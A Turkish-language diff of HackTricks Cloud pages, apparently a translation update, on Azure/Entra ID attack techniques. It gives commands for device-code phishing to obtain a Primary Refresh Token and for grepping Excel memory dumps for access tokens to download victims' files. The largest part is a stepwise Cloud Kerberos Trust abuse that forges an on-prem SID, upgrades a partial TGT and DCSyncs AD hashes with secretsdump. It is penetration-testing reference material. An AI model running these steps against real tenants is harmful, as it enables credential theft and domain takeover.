- **MFA atlanmaz**: **kullanıcı, phishing sırasında MFA** gerçekleştirir; **MFA talepleri**, sonuçta elde edilen PRT'ye yayılır ve saldırgânın uygulamalara **daha fazla istem olmadan** erişmesini sağlar.
|
||||
|
||||
**Gereksinimler**:
|
||||
|
||||
- **Cihaz Kodu aracılığıyla kullanıcı kimlik doğrulaması**, **Broker client ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) ve **DRS kapsamı/kaynağı** (örneğin, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** veya **`https://enrollment.manage.microsoft.com/`**).
|
||||
- **Kullanıcı, Entra ID'de cihazları kaydedebilir** (**varsayılan: izinli**, ancak kısıtlanabilir veya kota sınırlı olabilir).
|
||||
- **Hedef uygulamalar için Cihaz Kodunu devre dışı bırakan CA politikaları yoktur** veya **uyumlu/hybrid cihazlar gerektiren** politikalar yoktur (bunlar PRT verilmesini durdurmaz, ancak **korunan uygulamalara erişim için** kullanılmasını engeller).
|
||||
- **Saldırgan kontrolündeki bir ana bilgisayar**, akışı çalıştırmak ve token'ları/cihaz anahtarlarını tutmak için.
|
||||
|
||||
**Saldırı Akışı**:
|
||||
|
||||
1. **client_id = Broker** ve **DRS kapsamı/kaynağı** ile **Cihaz Kodu kimlik doğrulamasını başlatın**; **kullanıcı kodunu** kurbanın önüne getirin.
|
||||
```bash
|
||||
curl -s -X POST \
|
||||
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
|
||||
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
|
||||
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
|
||||
```
|
||||
2. **Kurban, Microsoft'un sitesine giriş yapar** (legit UI) ve **MFA**'yı tamamlar → **saldırgan, Broker istemcisi için DRS kapsamlı bir refresh token** alır.
|
||||
|
||||
3. **O refresh token'ı kullanarak** kiracıda **sahte bir cihaz kaydı** yapın (cihaz nesnesi oluşturulur ve kurbana bağlanır).
|
||||
|
||||
4. **Refresh token + cihaz kimliği/anahtarları** değiş tokuş ederek **PRT'ye yükseltin** → **PRT**, saldırganın cihazına bağlıdır.
|
||||
|
||||
5. **(Opsiyonel kalıcılık)**: Eğer MFA yeni ise, **uzun vadeli, şifresiz erişim** sağlamak için **Windows Hello for Business anahtarı** kaydedin.
|
||||
|
||||
6. **Kötüye kullanma**: Kullanıcı olarak **Exchange/Graph/SharePoint/Teams/özel uygulamalar** için **erişim token'ları** elde etmek amacıyla **PRT'yi** kullanın (veya **PRT çerezi** oluşturun).
|
||||
|
||||
### Kamu Araçları ve Kanıt-of-Kavramlar
|
||||
|
||||
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): OAuth akışını, cihaz kaydını ve token yükseltmelerini otomatikleştirir.
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Cihaz kodu phishing'ini PRT+WHfB anahtarlarına otomatikleştiren tek komutlu script.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [Dirkjan'ın PRT hakkındaki blog yazısı](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Dirkjan'ın PRT'leri phishing hakkındaki yazısı](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Dirkjan'ın PRT'leri kötüye kullanma hakkındaki yazısı](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- SpecterOps'un [Azure AD İstek Token'ları Talep Etme](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) konulu yazısı
|
||||
- [AADInternals'ın PRT'ler hakkındaki yazısı](https://aadinternals.com/post/prt/)
|
||||
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+6
-7
@@ -4,13 +4,13 @@
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
[**bu videoda**](https://www.youtube.com/watch?v=OHKZkXC4Duw) açıklandığı gibi, bulutla senkronize olan bazı Microsoft yazılımları (Excel, Teams...) **erişim jetonlarını bellek içinde düz metin olarak saklayabilir**. Bu nedenle, sadece **işlemin bellek dökümünü almak** ve **JWT jetonları için grep yapmak**, MFA'yı atlayarak kurbanın buluttaki çeşitli kaynaklarına erişim sağlayabilir.
|
||||
[**bu videoda**](https://www.youtube.com/watch?v=OHKZkXC4Duw) açıklandığı gibi, bulutla senkronize olan bazı Microsoft yazılımları (Excel, Teams...) **erişim tokenlerini bellek içinde düz metin olarak saklayabilir**. Bu nedenle, sadece **işlemin bellek dökümünü almak** ve **JWT tokenleri için grep yapmak**, MFA'yı atlayarak kurbanın buluttaki çeşitli kaynaklarına erişim sağlayabilir.
|
||||
|
||||
Adımlar:
|
||||
|
||||
1. EntraID kullanıcısıyla senkronize olan excel süreçlerinin dökümünü en sevdiğiniz araçla alın.
|
||||
2. `string excel.dmp | grep 'eyJ0'` komutunu çalıştırın ve çıktıda birkaç jeton bulun.
|
||||
3. Sizi en çok ilgilendiren jetonları bulun ve bunlar üzerinde araçlar çalıştırın:
|
||||
1. EntraID kullanıcısıyla senkronize olan excel işlemlerinin dökümünü favori aracınızla alın.
|
||||
2. `string excel.dmp | grep 'eyJ0'` komutunu çalıştırın ve çıktıda birkaç token bulun.
|
||||
3. Sizi en çok ilgilendiren tokenleri bulun ve bunlar üzerinde araçlar çalıştırın:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
@@ -27,9 +27,8 @@ curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/site
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
┌──(magichk㉿black-pearl)-[~]
|
||||
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**Bu tür erişim jetonlarının diğer süreçlerin içinde de bulunabileceğini unutmayın.**
|
||||
**Bu tür erişim jetonlarının diğer süreçlerin içinde de bulunabileceğini unutmayın.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+50
-24
@@ -4,46 +4,72 @@
|
||||
|
||||
**Bu gönderi, saldırı hakkında daha fazla bilgi için kontrol edilebilecek** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **adresinin bir özetidir. Bu teknik ayrıca** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)** adresinde de yorumlanmıştır.**
|
||||
|
||||
## Temel Bilgiler
|
||||
## Kerberos Trust İlişkisi Genel Bakış
|
||||
|
||||
### Güven
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- Bu özellik (Windows Hello for Business'ın bir parçası) on-prem AD'nin **Entra ID'yi** AD için Kerberos biletleri vermesi için tek yönlü bir güven ilişkisi kurar. Bunu etkinleştirmek, AD'de bir **AzureADKerberos$** bilgisayar nesnesi (Salt Okuma Alan Denetleyicisi olarak görünür) ve bağlı bir **`krbtgt_AzureAD`** hesabı (ikincil KRBTGT) oluşturur. Entra ID, bu hesapların anahtarlarını tutar ve AD kullanıcıları için "kısmi" Kerberos TGT'leri verebilir. AD alan denetleyicileri bu biletleri kabul eder, ancak RODC benzeri kısıtlamalarla: varsayılan olarak, **yüksek ayrıcalıklı gruplar (Domain Admins, Enterprise Admins, vb.) *reddedilir*** ve sıradan kullanıcılara izin verilir. Bu, Entra ID'nin normal koşullar altında alan yöneticilerini güven ilişkisi aracılığıyla kimlik doğrulamasını engeller. Ancak, göreceğimiz gibi, yeterli Entra ID ayrıcalıklarına sahip bir saldırgan bu güven tasarımını kötüye kullanabilir.
|
||||
|
||||
Azure AD ile bir güven kurulduğunda, **AD'de bir Okuma Yalnızca Alan Denetleyicisi (RODC) oluşturulur.** **RODC bilgisayar hesabı**, **`AzureADKerberos$`** olarak adlandırılır. Ayrıca, **`krbtgt_AzureAD`** adında bir ikincil `krbtgt` hesabı da oluşturulur. Bu hesap, Azure AD'nin oluşturduğu biletler için kullanılan **Kerberos anahtarlarını** içerir.
|
||||
## Entra ID'den On-Prem AD'ye Geçiş
|
||||
|
||||
Bu nedenle, bu hesap ele geçirilirse, herhangi bir kullanıcıyı taklit etmek mümkün olabilir... ancak bu doğru değildir çünkü bu hesap, Alan Yöneticileri, Kurumsal Yöneticiler, Yöneticiler gibi herhangi bir yaygın ayrıcalıklı AD grubuna bilet oluşturma yetkisine sahip değildir...
|
||||
**Senaryo:** Hedef organizasyon, parolasız kimlik doğrulama için **Cloud Kerberos Trust** etkinleştirmiştir. Bir saldırgan, Entra ID'de (Azure AD) **Global Administrator** ayrıcalıkları elde etmiştir ancak henüz on-prem AD'yi kontrol etmemektedir. Saldırgan ayrıca, bir Alan Denetleyicisi'ne (VPN veya hibrit ağda bir Azure VM aracılığıyla) ağ erişimi ile bir ayak sağlamıştır. Bulut güvenini kullanarak, saldırgan Azure AD kontrolünü kullanarak AD'de **Domain Admin** seviyesinde bir ayak elde edebilir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ancak, gerçek bir senaryoda bu gruplarda yer almayan ayrıcalıklı kullanıcılar olacaktır. Bu nedenle, **yeni krbtgt hesabı, ele geçirilirse, onları taklit etmek için kullanılabilir.**
|
||||
**Ön Koşullar:**
|
||||
|
||||
### Kerberos TGT
|
||||
- **Cloud Kerberos Trust** hibrit ortamda yapılandırılmıştır (gösterge: AD'de bir `AzureADKerberos$` RODC hesabı vardır).
|
||||
|
||||
Ayrıca, bir kullanıcı Windows'ta hibrit kimlik kullanarak kimlik doğruladığında, **Azure AD** **PRT ile birlikte kısmi Kerberos bileti verir.** TGT kısmi olduğu için **AzureAD'nin on-prem AD'deki kullanıcı hakkında sınırlı bilgileri** vardır (güvenlik tanımlayıcısı (SID) ve isim gibi).\
|
||||
Windows, ardından **bu kısmi TGT'yi tam TGT ile değiştirebilir** ve `krbtgt` hizmeti için bir hizmet bileti talep edebilir.
|
||||
- Saldırganın Entra ID kiracısında **Global Admin (veya Hybrid Identity Admin)** hakları vardır (bu roller, Azure AD kullanıcılarını değiştirmek için AD Connect **senkronizasyon API'sini** kullanabilir).
|
||||
|
||||
### NTLM
|
||||
- Saldırganın kimlik doğrulaması yapabileceği en az bir **hibrit kullanıcı hesabı** (hem AD hem de AAD'de mevcut) vardır. Bu, kimlik bilgilerini bilerek veya sıfırlayarak veya ona bir parolasız yöntem (örneğin, Geçici Erişim Geçidi) atayarak bir Birincil Yenileme Jetonu (PRT) oluşturmak için elde edilebilir.
|
||||
|
||||
Kerberos kimlik doğrulamasını desteklemeyen ancak NTLM'yi destekleyen hizmetler olabileceğinden, **PADATA** talebinin **`KERB-KEY-LIST-REQ`** alanını içeren bir ikincil `krbtgt` anahtarı kullanılarak imzalanmış **kısmi TGT** talep etmek ve ardından birincil `krbtgt` anahtarı ile imzalanmış tam bir TGT almak mümkündür **cevapta NT hash'i dahil edilerek**.
|
||||
- Varsayılan RODC "reddet" politikasında *olmayan* yüksek ayrıcalıklara sahip bir **on-prem AD hedef hesabı**. Pratikte, harika bir hedef **AD Connect senkronizasyon hesabı**dır (genellikle **MSOL_*** olarak adlandırılır), bu hesap AD'de DCSync (çoğaltma) haklarına sahiptir ancak genellikle yerleşik yönetici gruplarının bir üyesi değildir. Bu hesap genellikle Entra ID'ye senkronize edilmez, bu da onun SID'sinin çatışma olmadan taklit edilmesini sağlar.
|
||||
|
||||
## Alan Yöneticisi Elde Etmek İçin Cloud Kerberos Trust'ı Kötüye Kullanma <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
|
||||
**Saldırı Adımları:**
|
||||
|
||||
AzureAD bir **kısmi TGT** oluşturduğunda, kullanıcı hakkında sahip olduğu ayrıntıları kullanacaktır. Bu nedenle, bir Global Admin, **AzureAD'deki kullanıcının güvenlik tanımlayıcısını ve adını** değiştirebilirse, o kullanıcı için bir TGT talep ettiğinde **güvenlik tanımlayıcısı farklı olacaktır**.
|
||||
1. **Azure AD senkronizasyon API Erişimi Elde Et:** Global Admin hesabını kullanarak, Azure AD **Provisioning (senkronizasyon) API'si** için bir erişim jetonu alın. Bu, **ROADtools** veya **AADInternals** gibi araçlarla yapılabilir. Örneğin, ROADtools (roadtx) ile:
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(Alternatif olarak, AADInternals' `Connect-AADInt` Global Admin olarak kimlik doğrulamak için kullanılabilir.)*
|
||||
|
||||
Bunu Microsoft Graph veya Azure AD Graph aracılığıyla yapmak mümkün değildir, ancak Global Admin'lerin **senkronize kullanıcıları oluşturmak ve güncellemek için kullandığı API'yi** kullanmak mümkündür; bu, Global Admin'lerin **herhangi bir hibrit kullanıcının SAM adını ve SID'sini değiştirmesine** olanak tanır ve ardından kimlik doğruladığımızda, değiştirilmiş SID'yi içeren bir kısmi TGT alırız.
|
||||
2. **Bir Hibrit Kullanıcının Yerel Özelliklerini Değiştirin:** Azure AD **senkronizasyon API'sini** kullanarak seçilen hibrit kullanıcının **onPremises Güvenlik Tanımlayıcısını (SID)** ve **onPremises SAMAccountName** değerlerini hedef AD hesabıyla eşleştirin. Bu, Azure AD'ye bulut kullanıcısının taklit etmek istediğimiz yerel hesapla eşleştiğini etkili bir şekilde bildirir. Açık kaynak **ROADtools Hybrid** araç setini kullanarak:
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
--sourceanchor <ImmutableID_of_User>\
|
||||
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
|
||||
```
|
||||
> Kullanıcının `sourceAnchor` (değiştirilemez ID) değeri, değiştirilmesi gereken Azure AD nesnesini tanımlamak için gereklidir. Araç, hibrit kullanıcının yerel SID'sini ve SAM hesap adını hedefin değerleriyle (örneğin, MSOL_xxxx hesabının SID'si ve SAM'ı) ayarlar. Azure AD genellikle bu niteliklerin Graph üzerinden değiştirilmesine izin vermez (okunabilir), ancak senkronizasyon hizmeti API'si buna izin verir ve Global Yöneticiler bu senkronizasyon işlevselliğini çağırabilir.
|
||||
|
||||
AADInternals ile bunu yapabileceğimizi ve senkronize kullanıcılara [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet'i aracılığıyla güncelleyebileceğimizi unutmayın.
|
||||
3. **Azure AD'den Kısmi TGT Alın:** Değişiklikten sonra, hibrit kullanıcı olarak Azure AD'ye kimlik doğrulaması yapın (örneğin, bir cihazda PRT alarak veya kimlik bilgilerini kullanarak). Kullanıcı oturum açtığında (özellikle bir etki alanına katılmış veya Entra katılmış Windows cihazında), Azure AD bu hesap için **kısmi Kerberos TGT (TGT**<sub>**AD**</sub>) verir çünkü Cloud Kerberos Trust etkinleştirilmiştir. Bu kısmi TGT, AzureADKerberos$ RODC anahtarı ile şifrelenmiştir ve ayarladığımız **hedef SID**'yi içerir. Bunu, ROADtools aracılığıyla kullanıcı için bir PRT talep ederek simüle edebiliriz:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
Bu, kısmi TGT ve oturum anahtarını içeren bir `.prt` dosyası oluşturur. Hesap yalnızca bulut parolasıysa, Azure AD yine de PRT yanıtında bir TGT_AD içerir.
|
||||
|
||||
### Saldırı Ön Koşulları <a href="#attack-prerequisites" id="attack-prerequisites"></a>
|
||||
4. **Kısmi TGT'yi Tam TGT ile Değiştirme (AD'de):** Kısmi TGT artık hedef hesap için **tam TGT** almak üzere yerel Alan Denetleyicisi'ne sunulabilir. Bunu, `krbtgt` hizmeti (alanın birincil TGT hizmeti) için bir TGS isteği gerçekleştirerek yapıyoruz -- temelde bileti tam bir PAC ile normal bir TGT'ye yükseltiyoruz. Bu değişimi otomatikleştirmek için araçlar mevcuttur. Örneğin, ROADtools Hybrid'in betiğini kullanarak:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
Bu script (veya Impacket eşdeğerleri) Domain Controller ile iletişim kuracak ve hedef AD hesabı için geçerli bir TGT alacaktır, ayrıca özel Kerberos uzantısı kullanılıyorsa hesabın NTLM hash'ini de içerecektir. **`KERB-KEY-LIST-REQ`** uzantısı, DC'den hedef hesabın NTLM hash'ini şifreli yanıtta döndürmesini istemek için otomatik olarak dahil edilir. Sonuç, hedef hesap için bir kimlik bilgisi önbelleği (`full_tgt.ccache`) veya kurtarılan NTLM parola hash'idir.
|
||||
|
||||
Saldırının başarısı ve Alan Yöneticisi ayrıcalıklarının elde edilmesi belirli ön koşullara bağlıdır:
|
||||
5. **Hedefi Taklit Et ve Domain Admin Ol:** Artık saldırgan etkili bir şekilde **hedef AD hesabını kontrol ediyor**. Örneğin, hedef AD Connect **MSOL hesabı** ise, dizin üzerinde çoğaltma haklarına sahiptir. Saldırgan, o hesabın kimlik bilgilerini veya Kerberos TGT'sini kullanarak AD'den parola hash'lerini dökmek için bir **DCSync** saldırısı gerçekleştirebilir (domain KRBTGT hesabı dahil). Örneğin:
|
||||
```bash
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
Bu, tüm AD kullanıcı parolası hash'lerini döker, saldırgana KRBTGT hash'ini verir (onların istediği gibi alan Kerberos biletleri oluşturmasına izin verir) ve etkili bir şekilde **Domain Admin** ayrıcalıkları sağlar. Hedef hesap başka bir ayrıcalıklı kullanıcı olsaydı, saldırgan o kullanıcı olarak herhangi bir alan kaynağına erişmek için tam TGT'yi kullanabilirdi.
|
||||
|
||||
- Hesapları Senkronizasyon API'si aracılığıyla değiştirme yeteneği kritik öneme sahiptir. Bu, Global Admin rolüne sahip olmak veya bir AD Connect senkronizasyon hesabına sahip olmakla sağlanabilir. Alternatif olarak, Hibrit Kimlik Yöneticisi rolü yeterlidir, çünkü AD Connect'i yönetme ve yeni senkronizasyon hesapları oluşturma yetkisi verir.
|
||||
- **Hibrit bir hesabın** varlığı gereklidir. Bu hesap, kurban hesabının ayrıntılarıyla değiştirilmek üzere uygun olmalı ve kimlik doğrulama için de erişilebilir olmalıdır.
|
||||
- Active Directory içinde bir **hedef kurban hesabının** tanımlanması gereklidir. Saldırı, zaten senkronize edilmiş herhangi bir hesap üzerinde gerçekleştirilebilir, ancak Azure AD kiracısının on-prem güvenlik tanımlayıcılarını çoğaltmamış olması gerekir; bu nedenle, bileti elde etmek için senkronize edilmemiş bir hesabın değiştirilmesi gerekmektedir.
|
||||
- Ayrıca, bu hesabın alan yöneticisi eşdeğer ayrıcalıklara sahip olması gerekir, ancak AzureAD RODC tarafından geçersiz TGT'lerin üretilmesini önlemek için tipik AD yönetici gruplarının bir üyesi olmamalıdır.
|
||||
- En uygun hedef, **AD Connect Senkronizasyon hizmeti tarafından kullanılan Active Directory hesabıdır.** Bu hesap Azure AD ile senkronize edilmez, bu da SID'sinin geçerli bir hedef olmasını sağlar ve şifre karmaşalarını senkronize etme rolü nedeniyle doğası gereği Alan Yöneticisi eşdeğer ayrıcalıklara sahiptir (Şifre Karma Senkronizasyonu aktif varsayılarak). Hızlı kurulum olan alanlar için bu hesap **MSOL\_** ile başlar. Diğer durumlar için, hesap, alan nesnesi üzerindeki Dizin Çoğaltma ayrıcalıklarına sahip tüm hesapları listeleyerek belirlenebilir.
|
||||
6. **Temizlik:** İsteğe bağlı olarak, saldırgan aynı API aracılığıyla değiştirilmiş Azure AD kullanıcısının orijinal `onPremisesSAMAccountName` ve SID'sini geri yükleyebilir veya oluşturulan geçici kullanıcıyı basitçe silebilir. Birçok durumda, bir sonraki Azure AD Connect senkronizasyon döngüsü, senkronize edilmiş niteliklerdeki yetkisiz değişiklikleri otomatik olarak geri alacaktır. (Ancak, bu noktada zarar verilmiştir -- saldırgan DA ayrıcalıklarına sahiptir.)
|
||||
|
||||
> [!WARNING]
|
||||
> Bulut güvenini ve senkronizasyon mekanizmasını kötüye kullanarak, Azure AD'nin Global Yöneticisi, RODC politikasıyla açıkça korunmayan neredeyse *herhangi* bir AD hesabını taklit edebilir, o hesap asla bulutla senkronize edilmemiş olsa bile. Varsayılan bir yapılandırmada, bu **Azure AD ihlalinden yerel AD ihlaline tam bir güven köprüsü kurar**.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
### Tam Saldırı <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
|
||||
Bunu orijinal gönderide kontrol edin: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
-9
@@ -1,9 +0,0 @@
|
||||
# Az - Varsayılan Uygulamalar
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Tekniği kontrol edin:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) ve [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
Blog yazısı, Uygulama Yöneticileri veya ele geçirilmiş On-Premise Senkronizasyon Hesaplarının kimlik bilgilerini uygulamalara atayarak ayrıcalıkları artırmasına olanak tanıyan Azure AD'deki bir ayrıcalık yükseltme açığını tartışmaktadır. Azure AD'nin uygulamaları ve hizmet ilkelerini ele alma konusundaki "tasarım gereği" davranışından kaynaklanan bu açık, özellikle varsayılan Office 365 uygulamalarını etkilemektedir. Bildirilmiş olmasına rağmen, Microsoft bu durumu, yönetici hakları atama davranışının belgelenmesi nedeniyle bir güvenlik açığı olarak değerlendirmemektedir. Yazı, ayrıntılı teknik bilgiler sunmakta ve Azure AD ortamlarında hizmet ilkesi kimlik bilgilerini düzenli olarak gözden geçirme önerisinde bulunmaktadır. Daha ayrıntılı bilgi için, orijinal blog yazısını ziyaret edebilirsiniz.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+26
-27
@@ -4,15 +4,16 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federasyon**, **güven** kurmuş **alanlar** topluluğudur. Güven seviyesi değişiklik gösterebilir, ancak genellikle **kimlik doğrulama** içerir ve neredeyse her zaman **yetkilendirme** içerir. Tipik bir federasyon, belirli bir kaynak setine **paylaşılan erişim** için **güven** kurmuş **bir dizi organizasyon** içerebilir.
|
||||
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
**Yerel** ortamınızı **Azure AD** ile **federasyon** yapabilir ve bu federasyonu kimlik doğrulama ve yetkilendirme için kullanabilirsiniz. Bu oturum açma yöntemi, tüm kullanıcı **kimlik doğrulamasının yerel ortamda gerçekleşmesini** sağlar. Bu yöntem, yöneticilerin daha katı erişim kontrol seviyeleri uygulamasına olanak tanır. **AD FS** ve PingFederate ile federasyon mevcuttur.
|
||||
>**Federasyon**, **güven** kurmuş **alanlar** topluluğudur. Güven seviyesi değişiklik gösterebilir, ancak genellikle **kimlik doğrulama** içerir ve neredeyse her zaman **yetkilendirme** içerir. Tipik bir federasyon, **paylaşılan erişim** için **güven** kurmuş bir **dizi organizasyon** içerebilir.
|
||||
>On-premises ortamınızı **Azure AD** ile **federasyon** yapabilir ve bu federasyonu kimlik doğrulama ve yetkilendirme için kullanabilirsiniz. Bu oturum açma yöntemi, tüm kullanıcı **kimlik doğrulamasının on-premises** ortamda gerçekleşmesini sağlar. Bu yöntem, yöneticilerin daha katı erişim kontrol seviyeleri uygulamasına olanak tanır. **AD FS** ve PingFederate ile federasyon mevcuttur.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Temelde, Federasyon'da tüm **kimlik doğrulama** **yerel** ortamda gerçekleşir ve kullanıcı, tüm güvenilir ortamlar arasında SSO deneyimi yaşar. Bu nedenle, kullanıcılar **yerel kimlik bilgilerini** kullanarak **bulut** uygulamalarına **erişim** sağlayabilir.
|
||||
Temelde, Federasyon'da tüm **kimlik doğrulama** **on-prem** ortamda gerçekleşir ve kullanıcı, tüm güvenilir ortamlar arasında SSO deneyimi yaşar. Bu nedenle, kullanıcılar **on-prem kimlik bilgilerini** kullanarak **bulut** uygulamalarına **erişim** sağlayabilirler.
|
||||
|
||||
**Güvenlik İddası İşaretleme Dili (SAML)**, sağlayıcılar arasında tüm kimlik doğrulama ve yetkilendirme **bilgilerini** **değiştirmek** için kullanılır.
|
||||
**Güvenlik İddiası İşaretleme Dili (SAML)**, sağlayıcılar arasında tüm kimlik doğrulama ve yetkilendirme **bilgilerini** **değiştirmek** için kullanılır.
|
||||
|
||||
Her federasyon kurulumunda üç taraf vardır:
|
||||
|
||||
@@ -20,12 +21,10 @@ Her federasyon kurulumunda üç taraf vardır:
|
||||
- Kimlik Sağlayıcı (IdP)
|
||||
- Hizmet Sağlayıcı (SP)
|
||||
|
||||
(Görseller https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps adresinden alınmıştır)
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. İlk olarak, bir uygulama (Hizmet Sağlayıcı veya SP, örneğin AWS konsolu veya vSphere web istemcisi) bir kullanıcı tarafından erişilir. Bu adım atlanabilir ve istemci doğrudan IdP'ye (Kimlik Sağlayıcı) yönlendirilebilir, bu belirli uygulamaya bağlıdır.
|
||||
2. Daha sonra, SP, kullanıcı kimlik doğrulaması için uygun IdP'yi (örneğin, AD FS, Okta) belirler. Ardından, bir SAML (Güvenlik İddası İşaretleme Dili) AuthnRequest oluşturur ve istemciyi seçilen IdP'ye yönlendirir.
|
||||
1. İlk olarak, bir kullanıcı bir uygulamaya (Hizmet Sağlayıcı veya SP, örneğin AWS konsolu veya vSphere web istemcisi) erişir. Bu adım, belirli uygulamaya bağlı olarak, istemciyi doğrudan IdP'ye (Kimlik Sağlayıcı) yönlendirecek şekilde atlanabilir.
|
||||
2. Daha sonra, SP, kullanıcı kimlik doğrulaması için uygun IdP'yi (örneğin, AD FS, Okta) belirler. Ardından, bir SAML (Güvenlik İddiası İşaretleme Dili) AuthnRequest oluşturur ve istemciyi seçilen IdP'ye yönlendirir.
|
||||
3. IdP devralır, kullanıcıyı kimlik doğrular. Kimlik doğrulama sonrası, IdP tarafından bir SAMLResponse oluşturulur ve kullanıcı aracılığıyla SP'ye iletilir.
|
||||
4. Son olarak, SP SAMLResponse'yi değerlendirir. Başarıyla doğrulanırsa, IdP ile bir güven ilişkisi olduğunu gösterir ve kullanıcıya erişim verilir. Bu, oturum açma sürecinin tamamlandığını işaret eder ve kullanıcının hizmeti kullanmasına olanak tanır.
|
||||
|
||||
@@ -37,44 +36,44 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
## Pivoting
|
||||
|
||||
- AD FS, iddialara dayalı bir kimlik modelidir.
|
||||
- "..iddialar, kullanıcılar hakkında yapılan (örneğin, ad, kimlik, grup) basit ifadelerdir ve esasen internet üzerinde herhangi bir yerde bulunan iddialara dayalı uygulamalara erişimi yetkilendirmek için kullanılır."
|
||||
- Bir kullanıcı için iddialar SAML token'larının içinde yazılır ve ardından IdP tarafından gizlilik sağlamak için imzalanır.
|
||||
- AD FS, iddia tabanlı bir kimlik modelidir.
|
||||
- "..iddialar, kullanıcılar hakkında yapılan (örneğin, ad, kimlik, grup) basit ifadelerdir ve esasen internet üzerinde herhangi bir yerde bulunan iddia tabanlı uygulamalara erişimi yetkilendirmek için kullanılır."
|
||||
- Bir kullanıcı için iddialar, SAML token'larının içine yazılır ve ardından IdP tarafından gizlilik sağlamak için imzalanır.
|
||||
- Bir kullanıcı, ImmutableID ile tanımlanır. Bu, küresel olarak benzersizdir ve Azure AD'de saklanır.
|
||||
